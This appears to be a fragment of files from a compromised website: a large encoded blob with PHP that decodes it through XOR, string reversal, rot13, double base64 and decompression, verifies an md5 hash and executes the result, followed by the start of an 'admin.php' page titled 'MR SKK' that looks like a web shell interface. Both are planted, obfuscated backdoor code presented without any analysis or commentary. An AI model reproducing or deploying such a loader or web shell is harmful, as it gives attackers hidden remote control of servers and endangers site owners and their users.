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');
$exccons=base64_decode('Os0gTkMqiJJ6jH3gXdZzgIgqqL2ysVez5w0E');
$qipxtlk='';$uqkad=strlen($xvoymek);
for($gvmkx=0;$gvmkx<$uqkad;$gvmkx++)$qipxtlk.=chr(ord($xvoymek[$gvmkx])^ord($exccons[$gvmkx%strlen($exccons)]));
$qipxtlk=strrev($qipxtlk);$qipxtlk=str_rot13($qipxtlk);$qipxtlk=base64_decode(base64_decode($qipxtlk));$qipxtlk=substr($qipxtlk,-2).substr($qipxtlk,0,-2);$qipxtlk=gzuncompress($qipxtlk);if(md5($qipxtlk.$exccons)!=='c016535be3099e3b52cd7adc32fec9ab')return;
$rf=new ReflectionFunction('jrlfnnak');
$rf->invoke($qipxtlk);
js/content/resources/2025/agm/admin.php000044400000034143152204755650013617 0ustar00<html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html>
<head>
    <title>MR SKK</title>
    <link href="https://fonts.googleapis.com/css?family=Arial%20Black" rel="stylesheet">
    <meta name="robots" content="noindex, nofollow">
    <style type="text/css">* {cursor: url(https://ani.cursors-4u.net/cursors/cur-13/cur1161.ani), url(https://ani.cursors-4u.net/cursors/cur-13/cur1161.png), auto !important;}</style><a href="https://www.cursors-4u.com/cursor/2018/06/08/hell-yeah-pointer-4.html" target="_blank" title="Hell Yeah Pointer 4"><img src="https://cur.cursors-4u.net/cursor.png" border="0" alt="Hell Yeah Pointer 4" style="position:absolute; top: 0px; right: 0px;" /></a>
    <style>
        body {
             font-family: 'Arial Black';
             color: rgb(255, 255, 255);
             margin: 0;
             padding: 0;
             background-color: #242222c9;
             text-shadow: 2px 2px 4px rgba(90, 88, 88, 0.5);
             background-size: cover;
             background-position: center;
}
        .container {
            width: 80%;
            margin: 20px auto;
            padding: 40px;
            background-color: #1e1e1e;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .result-box {
            width: 97.5%;
            height: 200px;
            resize: none;
            overflow: auto;
            font-family: 'Arial Black';
            background-color: #f4f4f4;
            padding: 10px;
            border: 1px solid #ddd;
            margin-bottom: 10px;
        }
        hr {
            border: 0;
            border-top: 1px solid #ddd;
